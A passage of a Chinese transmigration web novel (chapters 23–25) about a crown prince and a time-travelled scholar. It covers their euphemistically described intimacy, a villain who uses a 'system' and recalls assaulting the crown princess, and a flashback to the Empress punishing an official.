成了束缚谢知珩夜间不敢入眠的梦魇,逼得他控制不了心头涌上的躁动,与散不走的恨意。
他会生恨,恨所有,敌视所有人。
最终,走向灭亡。
“不够,完全不够。”
屈成霖咬咬牙:“我需要更多积分,这样才能让谢知珩走向灭亡,死得更快些!”
“系统!有没有更优质的羊,比太子妃还要优质,不止还完欠债,还能将谢知珩踩到地底去!”屈成霖嘴角狰狞,躺在软塌上。
天后是屈成霖见过最优质的羊,可重重包围中,他无法突破羽林卫,磨刀霍霍向猪羊。
只能退而求其次,采得太子妃这朵鲜花。不仅收获颇多,还狠狠给屈成霖最恨的人,戴了顶绿帽巾。
那晚多么刺激,悲惨的痛苦压得整个皇宫,喘不过气来。
新婚夜的荒唐,崩溃受辱的太子妃,是孩子又是弟弟的小殿下。
被要求扫描皇宫时偷懒敷衍的系统,听到屈成霖要还清欠款,立即蹦跶着跃起身子,徘徊在屈成霖的脑袋里。
过度的数据计算,使得本就体弱的屈成霖痛苦不堪,挠着软塌的栏,几乎挠出木刺来。
他太痛苦了,泪水于眼眶崩溃,涕泗横流,脸上的每条纹路都在挣扎,于昏黄灯烛中,那张老人脸显得无比恐怖。
几乎要放弃,屈成霖痛声大喊:“别扫了系统,快给朕停下你的操作,朕不要了,不要报复谢知珩!”
他的弃盔投降,与跪地求饶的屈服模样,从未得系统半分同情。
转动的数据条在屈成霖瞳孔中浮现,阿拉伯数字的1与0,像咒枷包裹住屈成霖每一块皮肤。
才恢复的精气神,此刻散了神,溃散的瞳孔映衬系统耗损人身的数据。
系统:“外来因素干扰,成功偷取其中一部分,系统发现此方世界在高维世界里,只是一部不足千页的言情著作。”
“言情,讲究男女欢爱,不分先后。可这部,女主却有绝对的地位,她凌驾于所有人物之上。”
屈成霖:“这羊,优质不优质?”
“比天后,还要优质。”
系统的回话,似给屈成霖注入神剂般,他抖擞身体爬起来,推走满是泪涕的被褥,眸眼被痛苦与欢愉侵占,诡异得似恶鬼。
“所以,女主是谁!”屈成霖问。
系统贴心回复:“四年前,被谢知珩处死的礼部郎中苏潜之女,她为父申冤,而上京城。”
“苏潜?这名字好耳熟。”
不过,屈成霖面见的官员太多,三省宰相与六部尚书侍郎都没认全,怎会记得区区五品官。
东宫内,百花仍开,喜迎春意的浸润大地。
谢知珩打量艳阳宫那边人送来的书信:“苏潜,钟仪大夫苏郎中,许久不曾听到此名了。”
李公公伫立一旁,为谢知珩烧尽此纸,问:“可需我替殿下……”
话未尽,李公公横手立在脖前,重重一划,眸眼低压,闪过恶狠意。
“不用,去查查。”
谢知珩摊开奏折,继续批阅中。
仲春无事,有了谢知珩的帮扶,晏城无需为日后除班授职,在官场往来中耗费太多时间。
此刻,他正用银叉,叉春果吃。
春果略酸涩,为压下那酸涩感,庖子有用糖腌渍。也有贵人爱食用,庖子便以盐、酸等料激发其味道,放于唇齿中,倒是生津得很。
晏城坐于里间,正是悠闲一刻,便听外头谢知珩不掩饰的声音。
这般私密的谈话,谢知珩似乎并不在意,不在意全被晏城听了去。
叉了块春果进腹,
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额间碎发逼得眼睫低垂,晏城想了许久,才勉强回想起这耳熟的名字。
也怪不得他,晏城对原著的了解,多来源于新年间家中姐妹的吐槽,也未曾看过几眼。
别人穿书要么有系统,要么就是看过原文,甚至因为同名同姓同性别,某些人还全文背诵过。
晏城手撑脑袋,他着实想不起,那书中是否有个跟他同名的配角,原身在书中也没名字。
穿书没金手指,老感觉哪里怪怪的。
正巧,眼尖的宫人察觉到晏城手边的糕点空了,便从小厨房里取了几碟,又沏了壶奶茶。
低劣的茶叶苦涩,昂贵的茶叶清甜。
可晏城没那喝茶的习惯,便照着脑海记忆,茶、奶与糖,熬煮了壶奶茶。
“嗯!”
不愧是百银一两的贡茶,混入牛奶中,就是好喝。
有喝有吃的,晏城舒适地趴在桌上,戳玩织女坊绣来的玩偶,让他打发时间玩。
也不算没有金手指,书内最大反派,最有权势的人就在身旁。
人已穿书了,原书的剧情也不用留恋,晏城自个居于京城最高者身旁,站于朝野之中,每刻的细微举止,都可能推动剧情有大的变化。
但,主角为父洗冤屈的主线,该是不会变的。
不过,苏潜是怎么获罪下狱的?
晏城非常好奇,因为谢知珩不像个昏庸的,乱杀忠臣的太子。
有困惑便问,晏城走出屏风,抚起珠帘,看向谢知珩,问:“苏郎中为何下狱?”
“?”谢知珩不解地仰起头,偏看向他,与晏城对视。
那双清澈透亮的桃花眸里,是林间溪泉,翩翩桃花瓣跌落,溶于水却不染纤纤细尘。
而深游于宦海中的官员,眸眼里的湖水过于平静,连点点涟漪的泛起,都显得无比珍贵,都无比恐怖。
谢知珩指尖挑起绕在晏城细腰肢处的腰带,轻轻一扯,对方便顺着力走过来,贴着谢知珩的手臂而站稳。
“想知道?”谢知珩垂眸,腰带的一段吻了下他唇间。
“嗯,想知道。”
晏城弯下半身,过长的青丝于他肩膀处垂落,如飞泻而来的浓墨银河,也似抓不住着的柔顺丝绸,扇动着谢知珩眼睫,轻颤不已。
腰带的正红似不固色般,谢知珩只轻轻一吻一抿,这方樱色薄唇就艳得夺目。
谢知珩轻笑出声,凤眸全睁开,高仰起下颌,与晏城直视:“并不复杂,苏大夫只是站错地方而已。”
站错地方,圣前失仪?
苏潜身为礼部官员,对宫中礼仪的了解不逊于他人,只失仪二次,无法取信晏城。
“殿下想要什么?”
晏城贴得更近,隔着腰带的那块布,唇瓣在不经意间贴了会儿,又因谢知珩细微的笑声,他默默移开些许。
谢知珩:“你能给孤的东西,可不多哦。”
“不过,你这般关注苏郎中,可是看上了?”
“?”晏城脑子里的不解,都要化为问好探出头来,关键时候,怎么瞎吃醋!
晏城连忙反驳,举起四根手指:“我不是,我没有,可别冤枉我!他都比我大两轮,坟头草都高了好几丈,别乱吃醋!”
23. 第 23 章
“好酸。”
春果的酸涩未被奶茶的甜覆盖,它直冲冲逼向谢知珩,连齿间也被激着颤动。
过于亲密的越线,每一寸的侵占,都让谢知珩清晰认知到,他的后退。
腰带已散开,红色衣袍层层叠叠,似春日撒落的余晖,覆于青色之上。
一岭挤一岭,峰顶的青绿覆上大片的红,似绽开的杜鹃,混着储君一声又一声的呜咽。不凄婉,只有气息的沉重,让谢知珩背抵靠椅,没法动弹。
很破碎,每一句都暗藏谢知珩死死压下的愤怒,与泛滥的津液,全葬送在晏城肩膀上的衣袍。
青山总搭着绿水,可晏城无法立即变幻出绿水来,东宫引来的虽是活水,也只是不远山间的甜泉,当不得绿水之名。
“!”
谢知珩咬牙抓握晏城手腕,散不尽的春果酸涩,使得他牙根颤颤,身体蜷缩,被晏城揽在怀里。
绿水不太清澈,它过于浓浊,初似蛛网黏在指中,后又流淌于瘫软在扶手上的衣摆里。
丝丝缕缕,搭成了绿水青山这一词。
春来万物暖,角落的炭盆噼里啪啦溅开,星红的火点隐没于湿帕中,整个屋子都裹上春的暖意来。
受梦魇折磨,谢知珩已许久不敢入睡,往往都是力竭后的短暂休息,让他从中偷取些许生机。
欢愉涌上眉眼,连带晏城那双始终清澈的桃花眸,也被泛上情色的粉艳,眼尾烧红,跟随他发丝,缠在谢知珩指腹。
沉重的困倦,与发丝的花香,渗透进谢知珩梦境里。
晏城仍未有困意,他与夙兴夜寐的谢知珩不同,晨时是日上三竿才醒,用的是早午膳。
东宫庖子本一心伺候太子,谢知珩体谅他,特意改了午膳的时辰,强行创造共用午膳的场景。
为表贴心,晏城:“其实不用,厨房别忘做我的就可。”
“无需如此,孤也常常忘用膳食。”
嗯……
晏城摸挠耳后,陷入睡眠的谢知珩极其不安,仍捏他衣角,指腹或摩挲暗纹,或揉团在掌心。
紧皱的眉眼锋利,不改他高位者的极贵,只晏城抹平时,他才散开些许,梦魇似被春意侵蚀,惹落一袭温柔。
“你倒有些不像,书里的大反派。”
他声音极低,几是贴着谢知珩耳畔道,细碎念叨自己了解的所有。
与太子同居住的这些时日里,晏城算是认识到太子,对这王朝的把控度。
遍布整个皇宫的眼线,无论明处的羽林卫与兵马司,或御史台,还是私底的暗卫,都源源不断告知太子,这座皇城的所有。
晏城有些猜测,听宫人曾言的话,李公公奉上的原身户籍,都在表明,谢知珩对他的了解,远高于他。
也难怪,谢知珩当时一眼便瞧出他非原身。他与原身的性格,实在非同一条路上的人。
“不累吗?”
伸手戳了戳微有消瘦的脸颊,颊边软肉不多,也不是果冻玩偶,无法让晏城戳着耍玩。
晏城弯下半身,贴着谢知珩极近,连呼吸的热都能感知到,他轻声说:“你不累吗?大反派。”
“我的孩儿,这瞧着位高又冰冷的龙椅,我知你坐上那日时,便极其累。”
天后的声音温柔,似把无法割断人脖颈的凌迟刀,在谢知珩身上,刮落一块又一块的情绪。
谢知珩咬着指尖,即使有那抹温热在,他眉头紧缩,融入山根里,又被散落的碎发缠绕。
数不清的乌黑蛛丝,蒙住他拔腿往前的眸眼,也是困住他的牢笼,从望不到尽头的银色长河。
长河是透着月华的银,却充斥烦躁血腥的乌黑,又不固色,谢知珩每次触碰,指腹都被迫抹上些许黑液。
不甚干净,却无名的让谢知珩想起,晏城吐溅到他衣角的毒血。
液体乌黑,抹匀在唇角,另有一番风情在。
正是想时,于万千的黑线中,谢知珩发现有几道丝线,被长河与月华浸透足,跌落指尖不褪色,而是亲昵地缠绕他。
“……不累吗?大反派。”
谢知珩抬眸,天际不见光色,无端涌来晏城的话语,让他呆愣原地,任由每条乌线将他包裹。
除去天外来的声音,耳旁天后的话始终不断,几乎要刻入谢知珩耳道里。
天后:“珩儿,阿娘只希望,你这一生平安喜乐。”
谢知珩咬咬唇,痛楚使他清醒,可禁缚此身的咒枷不肯放弃,凉意于后背攀登,刺痛脖颈,扎根于谢知珩脑海里。
他知道自己该控制自己,细线紧紧缠绕,浓墨渗透进表皮,浑身冰颤得厉害。
“殿下,殿下!”
骤然抓紧被褥,指甲恶狠狠抓划,似要破了这层束缚般,晏城几乎能听见谢知珩痛苦时的呼声,与极其轻微的求救。
很轻微,谢知珩使其克制在喉咙里,是喉结滚动些许,晏城才勉强能探知其中的惧怕。
晏城搂抱住谢知珩,轻声唤道:“别抓,很痛。”
为显奢侈精致,被面绣以金丝,可非是涂抹金粉的细线。炭火高温溶解金块,倒入模具,重锤敲打成细,又镶嵌被褥上。
金块仍是金属,其锋利,能划破人脆弱的表皮,将飞舞的凤头染得艳红。
晏城强行拉扯出谢知珩,那手仍是弯曲的利爪,持续紧绷,似要破了血,才得安稳。
起先,晏城横抓他的手心,紧紧攥住,挤得谢知珩每根手骨疼,就是蟒蛇的围缠,幻化成谢知珩梦境里凝聚一团的黑线、
谢知珩渴求挣扎,可痛意中夹杂驱除不了的热暖,与蟒蛇不同,谢知珩短暂浑噩的头脑瞬间清醒。
君王塌间不可枕虎,也不可枕蛇,却在数十日中,枕了个状元郎。
唇瓣微动,气息自缝隙中送出,散在晏城鼻尖。
顷刻间,那处似过敏般,红了大片。
但只那点气息,晏城听到,谢知珩轻唤他的名字。
“晏城……”
晏城一怔,紧握的手松了些许,不再裹着谢知珩疼,露出些许缝隙。就在那缝隙中,谢知珩反客为主,手指深埋进晏城指缝里,相扣又合紧。
晏城:“殿下?”
他话语才出一点,谢知珩自残自害的行为止住,顺着晏城搂抱他的姿势,将自己贴得人更紧。
寻不得安全的幼崽,攫取无际漆黑之外的温暖。
谢知珩侧睡,身体喜爱蜷缩,像极了晏城曾在网络上,看到的极度缺失安全感的人惯有的姿势。
降世为太子,父母恩爱,给予的爱意不少。
哪怕后来皇帝生变,他也能囚禁皇帝,执掌王朝大权,旁有皇帝精心培养的忠臣良将支持辅佐。
一生平安喜乐,又位高
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权重,何来不安?
晏城难以推断前缘,侧脸吻了谢知珩耳旁,蹭了蹭他微凉的脸颊,以身体的热意来安抚他。
“我对那书了解不多,也无法从短短数言,短短几日,窥探你过往的二十三年。”
晏城呼吸一滞,唇瓣温热,谢知珩无意识的含咬,将呼吸也咬去。
“不累吗?”
晏城轻声一叹,任由谢知珩肆意,或是将彼此的气息,烧得更加灼热。
梦境的漆黑被春日吹拂,落得大地一片青绿,桃花瓣跌落长河,随风飘到谢知珩掌心。
纠缠他许久的梦魇,于此刻,似化噩梦,为暖暖的春日宴。
“你话好多。”
清醒一会儿,谢知珩睁开眼,同晏城相视,凤眸映衬他所有模样。
晏城被乍然的睁眼讶住,腹中思索许久的安抚,都于此刻,被谢知珩推回去。
桃花眸低垂,眸光左右流转,就是不愿看向谢知珩。
谢知珩不气,他勾卷晏城始终不爱束的发,抵在晏城因紧张而吞咽的喉结处,唇瓣隔着指腹,细碎地落吻。
“……”
要亲就亲,别瞎耍把戏。
晏城低声委屈:“别玩我,我不会你那些把戏,没人教过我。”
身为太子,谢知珩定然受过相关教育,天后也会赐予教养嬷嬷,教他如何在床事中享受。
可晏城没学过,最多是大学期间,与室友偷偷摸摸背对辅导员看岛国三级片,龙阳一事少有参与。
后世谈性色变,偶尔不如古时开放多些。
晏城想,怕是人们接受信息的渠道过多,不如古时那般,仅有口头、书籍教授。
“那孤教你。”谢知珩指尖抚过晏城侧脸,蹭抚他鼻尖,轻声笑说:“前不久孤教过你,学会了吗?”
晏城一顿,划过他脑海的不是所谓床上情事,耳鬓厮磨。而是谢知珩依赖在他怀里,翻着儒经集注,一字一字授与他。
咬文嚼字,几乎要将所有大学未曾授予的知识点,全都赠给他。
“……”
他沉默的时候太久,谢知珩以为晏城是忘了。
谢知珩:“无碍,孤再教你一遍,就可。”
唇齿的热度不低,耳旁低伏的碎发,凌乱中交叠一起,又根根缠绵,陷入相扣的指缝里。
次日天亮得有些早,谢知珩下地时,双腿还在发颤,靠着李公公的搀扶,才勉强站稳。
回到政事堂时,堆积的奏折又如小山高,谢知珩垂眸,隔着眼皮揉眼许久,散去短暂的疲倦。
陷温柔乡太久,心都有些懒倦,谢知珩抿唇想。
正好,李公公抵了书信过来,谢知珩心急迫,但也缓缓打开。
纸上笔墨不多,却全是晏城低声时的碎语,有些藏于唇语中。
“反派,他是这般称孤的?”
谢知珩紧紧垂落眸子,与那些后世来的人不同。晏城对他的称呼,与略有恐怖崩溃的心理。
谢知珩燃掉书信:“去问问他们,反派何意?也许,他是大盛的一道生机。”
大道五十,天衍四九,唯一道生机。
谢知珩又摇头:“不,也许非一道,而是几道。”
于大盛,是一道生机。
可对谢知珩,却是几道生机,是越过无数黑线,越过银色长河的生机。
24. 第 24 章
无用多久,底下人递了书信上来,由李公公捧到谢知珩跟前。
那纸不大,堪堪铺平在李公公掌心,谢知珩忙于处理晨时紧急公务,使宫人念出。
那些人自以为古时人惯精简,修得文学的学子为此稍微润笔些许,二三的短言,将繁琐又枯燥的名词解释透彻。
李公公:“以话本为例,登高位娶良妻的书生为男主,贯彻整部话本。而那良妻,便是他们所言的女主。至于反派,阻拦他们相爱成婚的女儿家父母,及与女主有婚事在身的官家少爷,大抵是反派。”
谢知珩执朱笔勾了掌中这奏折,眸眼低垂:“这等话本,那些败落书生,该是最爱。”
他转眸又一冷,锋利的眉目似裹了冰雪的刀刃。
谢知珩轻笑,唇瓣紧抿,缓缓勾出笑容:“置己若梦境,若仙境。”
“殿下所言甚是。”李公公不曾改过其意,他永远站在谢知珩这边。
当整理思索所得情报后,李公公转而又问:“郎君只唤苏大夫,陛下也如此,可陛下所需的,仅有女子?”
未尽的言中,若那苏家女是他人话中的女主,那她与谁相爱,殿下又为何添列其中,成了阻拦他们相爱的反派?
难不成,殿下不爱太子妃,也不爱状元郎,独独爱上那苏氏女。
李公公眸眼里的震惊太明显,无需细想,谢知珩便知他在胡思乱想什么。
“想什么呢?于苏氏女而言,孤乃杀其父的贼子,谈何情爱。”谢知珩撑着侧脸,细碎的额发凌乱探出,贴着他指腹。
谢知珩:“孤不愿身旁另有他人,同阿耶一般便可。”
熹始帝曾为天后空置整一后宫,朝臣所有碎语都被他压下,骂名污名也都由自个担着。
可熹始帝的爱太多,情太浓,天后诞下太子后,未多久便又有孕。
可怜可叹,那孩子未出生便逝去,天后也受此,伤身太多。
天后承不了熹始帝太多情,特开后宫,迎更多貌美女子,似花般点缀皇宫。
熹始帝能为天后荒置后宫。
谢知珩身边,太子妃早逝,遗留的孩子又非他亲生,状元郎为男子身,难以……
李公公担忧:“殿下子息单薄,切不可如此。”
可不单薄吗?
偌大的东宫里,小殿下非亲子,于谢知珩,是似子又似弟。
不止如此,谢知珩是以身承其情,并非……
太过于荒唐,李公公难以从杂乱无序的脑海里,抽出完整的一句。
谢知珩不在意:“单薄?父皇为孤,造出一个又一个年幼的弟弟,宗室也非无人,不用怕。”
他闭眸,缓缓略有酸涩的眸眼,他的选择,可不少。
“殿下是想为郎君自守贞洁?”
于此,李公公又不解,两人相处未几月,怎落得这般情深意重之地。且,那时殿下为缓状元郎重药,自解罗裳,轻言曼语,教那状元郎。
李公公:“那状元郎可是狐仙转世,落凡渡殿下一身苦厄?”
“呵……你愿这般想,便以这套说辞,说服自己吧。”谢知珩不愿再纠缠此话题,只掌洗了遍脸,微微甩去繁琐的躁意,睁眼继续处理奏折。
若真要究出理由来,谢知珩也难以解释。或许真如李公公所言,那是位狐仙,来渡他这满身的苦厄。
是银色长河遥远一端,不惧乌线,也要落在他掌心。
是夜深梦魇缠身时,蹭到耳旁的细碎语,扰得他梦境都灼热厉害。
谢知珩单手指抵着额穴,眸眼里尽是奏折上密麻的文字,若细细看来,凤眸未曾聚焦,溃散迷离似的。
孤也不知,或是第一眼见他时,便忘了自己身在何处。
或是,情不知何时起,一往而深;情不知何时终,一往而殆。
闲言他话暂且谈到此,谢知珩不愿说,李公公自是不敢再谈及。只从这三言片语里,思索出状元郎在殿下心里地位。
能与太子妃相提并论,或也能登后位,底下人伺候时,也得精细点,李公公想。
不过后位?
李公公:“男子位居后位虽罕见,也非独一例,臣这便早就做准备。”
谢知珩挥挥手:“不用,以后位困住高中大/三/元的状元郎。不谈他,重臣文人可不得与孤拼命,孤还不想早早收到讨君檄文。”
真那般,文人满腔的怒情化为文字,字字细数他好几条罪状。太极殿内的高柱,不得流翰林院御史台抹不进的额头血。
他还想多活些时日,谢知珩重重叹出一口气。
谢知珩:“去查查苏大夫的女儿。”
李公公听后,福了神,说:“我记得苏大夫家中仅有一女,其夫人不曾为他诞下男孩。也可怜那女公子,受苏大夫那般教导,女训女戒齐齐上阵。”
“苏大夫精研儒文,又极爱朱子所言。”
谢知珩扫了眼书架上堆满的书籍,高为太子,他习得的经典,传入的思想,可不止儒者一家。
遥想熹始十九年,那时苏大夫为剥去郎中职位,也未授予钟仪大夫一虚名。
德阳殿内,只几人站立,谢知珩还未掌权,是由垂帘听政的天后处理朝中一切事务。
也非是谢知珩尚未弱冠之由,而是天后早与熹始帝,二圣临朝,对朝中事务自是清楚。
天后高居其上,眼尾扫落的胭脂正红,眸子低垂,望向站立不安的苏郎中。
“你的罪,能言大,也可言小。”天后侧着脸颊,“可余只见果,不愿思其因。”
苏郎中为此不满,也委屈,又冤屈足以:“天后明鉴,臣只是协助陛下出宫,臣不知会酿造如此大错。”
天后转眸看了谢知珩一眼,谢知珩拿过李公公捧着的奏折,递给苏郎中,说:“大理寺已查清,苏郎中可展开看几眼。”
苏郎中颤巍接过,却不敢看,因为罪已出,也已查出。
“臣不服,死去的不过是低贱的、出卖皮肉的妓女,哪里配让大理寺出手!”
大理寺卿面色不改,他身后的殷少宿却咬牙切齿,宽袖下的手指紧握,满腔的愤语几乎要骂出,被大理寺卿拦住。
范衡瞪了殷少宿一眼,脚后跟狠狠踩着他的鞋尖。
虽无言,却让殷少宿不敢再动,眸眼通红,瞪看仍在为自己开脱的苏郎中。
绕于指尖的飘纱,又堆在掌心,天后缓缓低垂头,靠着扶手,枕在掌心中,不言。
若月盘似的脸上,缓缓低垂她的杏眸,本是无害娇怯的存在,却在眉目的锋利中,数年的
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高位中,积压了不少的威严。
“妓女?时人常言妓子,淮阳巷的楼苑也不分男女,苏郎中为何独独言妓女?”
天后微哑的声音穿纱帘珠帘而入,不裹挟任何情绪,却震得他们齐齐跪落。
“阿娘请息怒,你不可再大动肝火了。”谢知珩皱眉,担忧着与天后说。
望向她深爱又优秀的独子,天后缓言道:“吾儿,你也这般低视她们?”
“不敢。”谢知珩走出侧角,跪在诸重臣面前,俯身跪与天后。
天后:“余见你,该是如此。”
数年的掌权,让她站得过高,过重。
披落的细绸绕在她手臂,微微直起身,天后垂眸盯了谢知珩许久,盯得谢知珩浑身发刺,情绪沉重得厉害,天后才移开眉眼。
孩子,这是她与圣人的独子。
天后闭眸,于心里喃喃数遍,压不住的躁意似火般,烧得天后阻止不了。
皇权至高无上,谁沾,都想自生到死,都握在掌心。
天后轻吐几息,原来她也脱不了俗世的欲,脱不了俗世的情。
果然,人非圣贤,孰能无期望。
天后:“虽只几位落风尘的弱女儿,但也是余大盛的子民,苏郎中身居官位,本该为民为子。若你仍如此,余想,苏郎中怕是配不得这父母官一词了。”
她挥挥手,随侍的羽林卫拖走苏郎中,又死死捂住他的嘴,不让他出半句伸冤的话,也不让他出脏言再得罪天后。
出德阳殿门一会儿,苏郎中身上的官袍就被太监们扒了去,正和天后那句“配不得父母官一词”。
“尔等舔居官位,行女子不敢行之权,为百姓开太平,可不得低辱她们。”
天后侧脸闭眸,厚重的竹帘由宫人放下,那声音不轻,重重压在殿内所有重臣耳边。
天后尚在病中,她挥挥手:“且退下吧。”
“是!”众人后退,离开德阳殿。
谢知珩也跟着离去,不想被天后唤住。
天后:“去与清檐说说话吧,她近日思绪烦杂,又在孕中,容易胡思乱想。作为丈夫,你该多关心她。”
谢知珩垂眸作揖:“是,孩儿这就回东宫。”
等谢知珩离去,天后撑着因病而痛的头:“余还需多撑会,多为那些弱女子谋些生存之道。”
服侍她许久的秦嬷嬷,眉头皱着,为她按摩穴道:“殿下也知你意,虽道远,殿下会走下去的。”
“希望吧,女户自立的政策,得早早施下去。”天后轻叹一息,枕在掌心。
时未有尽,但道会走到底。
熹始二十六年。
春雨压得整个天都阴沉沉的,钱维季咬着笔头,侧窗听雨眠。
这时,门外有人敲门,小厮去开,钱维季看不见来人的脸,油纸伞往前倾斜,遮了这人半张脸。
“谁啊?下这么大的雨还出门,不踩得满地污泥,是不知道大雨不出门的道理。”
钱维季不解,但为屋内主人,得亲自去迎客。
走到跟前,仍不见其脸,钱维季不满:“你谁啊?”
“哼呵!”女子的轻笑声,让钱维季堵住后续的话。
只听她又道:“我是谁,我是这家的主人啊~”
25. 第 25 章
庭院深深深几许,未几里,一步又一步的月洞门。
春意从斜插的枝头闯入,又从朵朵没开的花苞嫩叶呼出。
祁阳伯府东处,伫立一座苏式园林,女二公子独居此间,平儿常常穿月洞门入,又出。
平儿间或站驻其中,任由浸了青绿的光洒在鬓间,娇美的脸庞因光、因花、因枝头而更甚。
沈溪涟素来贪美色,身旁服侍的丫鬟不言其他,相貌是极等。
她不采红颜,可府中少爷,又非个道士和尚,不沾荤腥。
“平儿姐姐,大少爷可是又来问你?”
交好的手帕交凑到平儿耳边轻声问,平儿无喜意,只满腔的苦涩,她可不愿入大公子房内。
幸得女二公子庇佑,平儿才免以被大公子强入房里。
可自女二公子那日吃水受寒,康复后,女二公子便越发与从前不一样。
只顾与府上其他姐儿争斗,在伯爷眼底,闹得宅里不安。
不止如此,女二公子还奔去诸位哥儿房内,极尽谄媚之言,道个世子未来伯爷之名。却忘了,这祁阳伯府世子早被伯爷定下,只女二公子一人。
是某日,宫内有亲眷寻来,来与平儿念叨家常。
亲眷小声:“平姐儿,是愿为富,或是愿为贵?”
此话一出,平儿立即惊住。
富,是后生享有数不尽的财富;贵,是宫里贵人赠她通天梯。
曾被低压的欲望有一次涌上心头,平儿攥紧手帕,唇瓣发白,又颤动不已。
她哑声回:“为贵,儿想求贵,求当官家夫人,获封诰命!也想……”
入宫为女官,同亲眷一般,吃朝中俸禄,而非主子恩赐的薪水。
亲眷察出她未尽之意,却叹息:“宫中女官多为官家孤女,她等长辈具逝,只留她一人独存于世。天后怜惜,便邀她们入宫为女官。”
“贵人有事求儿,儿自会为贵人办事。不能入宫为女官,那可否使儿为官夫人?且那户籍上,儿乃户主。”平儿咬牙,来求更多。
亲眷想了想,道:“可,贵人正想为某学子求一庇佑之地,那学子巧是举子,有官身,对此间知晓不多,可配当平姐儿的入赘郎君。”
又言:“且放心,无论何事,贵人只站姐儿。”
“好。”
平儿未多想,应了贵人这事,自此站在贵人身边。
那日京城夜间贼子起,平儿早得了消息,引沈溪涟出府,与往常般去淮阳巷贪男色,又引至那条街上,与贼子相遇。
臭水沟里的夜行衣,床褥下满是血腥味的黑衣,刻意放入的玉佩,无意触碰的博古架,模糊初来女二公子的认知。
平儿为贵人做得不多,也不少。
贵人恩赏,助她摆脱奴籍,自立为女户,又赐下房钱,铺好她前进的道路。
油纸伞缓缓抬起,水雾朦胧中,弱弱细烟眉,长睫低垂,偏看他侧,眸光流转若华。
“解平,见过郎君。”解平妙语一回,盈盈与钱维季问声好。
贵人:“虽脱奴籍,可你无姓,我便赐你姓解,避圣姓。”
“解平,在此谢过贵人。”
钱维季被解平娇弱美貌惊艳住,呆滞原地不曾动,痴痴望着解平轻移莲步,走入堂厅。旁有侍女,为她接过湿漉漉的油纸伞,引她进屋。
春雨连绵,是诗作里剪不断、绕不清的愁绪。
宫人送来软凳,晏城静静贴着游廊漆红的立柱,掌心方方探出半片,屋檐滴落的水珠,打在他指尖,溅掉他处。
“这场春雨,来得及时啊。”
李公公微尖的声音袭来,晏城侧身望去,方下了朝会的谢知珩还着有亮黄的太子外袍。
旁人挤走在游廊中央,不敢沾春雨半丝,怕不止招了满檐的愁绪,还怕惹了春日余有的寒。
谢知珩喜贴着游廊的红栏走,那身精贵的外袍,连袖口都被春雨湿了大半,浸透进谢知珩藏于内的里衣。
晏城微仰与谢知珩对视,问:“不冷吗?衣袍具湿透。”
谢知珩摇头,学晏城举止,也将手伸出去:“春雨贵如金,昨个雪盖得不大,街旁无冻死人。可少了雪水浸润,庄稼吃不饱水,收成便不佳,这场早雨,来得真好。”
“瞧你面色,可是城东那馄饨摊未开?”
谢知珩半垂上身,欺在晏城肩处,细碎的发贴着晏城的脸颊,微痒。
晏城摇头,偏过谢知珩的贴近。
他脸颊太凉,晏城举起由汤婆子温暖的羊毛棉套,软软毛蹭得谢知珩略痒。
“痒。”谢知珩抓住晏城捣乱的手。
本意是暖暖谢知珩的脸颊,不知何时起,晏城起了玩乐的心,胡乱无节奏般,扰得人痒痒。
为逃避,谢知珩把自己埋入晏城脖颈,闷声问:“午膳,想用些什么?”
“……”
是个好问题,哪怕数千年流逝,也没有人能解决,就像那哲学三问:“我是谁,我从何而来,又该去往何处”,没有个确切的答案。
晏城小声嘟囔:“我不知道吃什么,你有什么想吃的吗?殿下。”
“……”
谢知珩似乎也被问倒,呼在脖侧的热息都轻了些许,四指于手枕探入,覆在晏城掌上。
于此处,两人探讨不出个答卷来,李公公站立一旁,拂尘扫去立柱的灰,轻笑。
“殿下,郎君,厨房早已备好膳食,可是想用?”李公公问。
晏城摇摇头,沐休时,他惯以睡到日上梢头才醒,早膳方用不久,观雨时又用了点糕点,腹中自是不饿。
不过……
晏城:“殿下饿吗?”
没得回声,脖颈处热息平缓,谢知珩似入了眠,双臂搂抱晏城肩膀,沿着发丝,被晏城握在掌心。
一场春雨,将盛朝的春耕往前推了一大步,会试紧挨殿试,事无轻重缓急,具由谢知珩掌控。
他累得不行,晏城眉眼低缓,檐边溅落的雨珠滴在他长睫,润得眸眼盈盈。
李公公也察觉此,走上前:“郎君可需要帮助?”
晏城摇摇头,挽着谢知珩腰,将人轻松抱在怀里,走过春雨朦胧的游廊。院落的假山于此静谧,随着滴打的柳枝,经风拂过他要走的前方。
*
“啊啾!”
晏城揉揉他泛红的鼻尖,不满。
谢知珩端来药汤,瓷制调羹晃悠汤面,溶解沉在底的细糖,呼去热气,说:“春雨才几日,怎就着凉了?”
对此,晏城翻个身,背对谢知珩不想搭理,那药汤的苦味,不用嗅闻,不用亲尝,只瞧浊棕的液面,便可知。
软枕抱在怀里,晏城埋在其中,嗡声道:“我哪知道,早知如此,就不该贪雨。”
“春雨虽贵,也不抵你的身子,别闹,喝药要紧。”
谢知珩轻声来劝,溶于药汤里的温柔,只可细听,不可细尝。
晏城是极不爱喝中药的,以前感冒发烧,具是一粒西药,混水下腹,无苦却有用。
可古时汤药多药材熬煮,偶有药丸,却都苦得不行。即使有细糖稀释苦味,或苦的余味有甜梅压着,晏城仍是不爱。
“这春雨凉得太快。”
雨滴声不绝,谢知珩特意换了角旁的滴漏,不然阴雨的潮湿自滴漏漫上,惹得屋内人可不舒服。他从私库里取出小国朝贡递来的西洋钟,摆在博古架上,美观又敲得见时间流逝。
转而,谢知珩又与李公公吩咐:“春雨太寒,为不耽搁朝政与春耕,让诸官署的膳堂每日煮点姜汤,为他们驱寒。”
“是。”李公公受命退去。
缩着脑袋的晏城听此,不复
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喝药的颓废,兴跃翻身,枕在谢知珩大腿处。
他低丧的桃花眸此刻亮堂得厉害,春光避雨不成,藏在他眼里。
晏城问:“大理寺可也有?”
“自然,孤怎会忘了大理寺。”察觉他意的谢知珩,轻笑着回。
“哈哈,清肃与我一般,也不爱姜味。殿下下令,清肃不得不喝,不然可是抗君意!”
晏城直起身,趴在谢知珩身上,眸眼的笑意总是不散的,即使孤身落在此间,他也会在细微处找得欢笑。
“我要去大理寺,看清肃的笑话!”
“我可跟你说,清肃最不喜姜味,膳堂有次煮了条鱼,为除鱼腥,不得不放了姜。那晌午,清肃是一口没动,趁着范大人躲屋内看话本,偷偷跑去城西那般买饼,结果……”
似钓人好奇的说书先生,晏城眨巴眨巴眼睛,看向谢知珩,想要他给出个反应。
谢知珩不落他欢喜,温温的药汤边递入他嘴,边问:“陶主簿可有吃到饼,还是那饼出了问题?”
“唔啊苦苦的。”舌尖泛起苦涩味,晏城不满又委屈,吐了吐舌,让风吹散苦味。
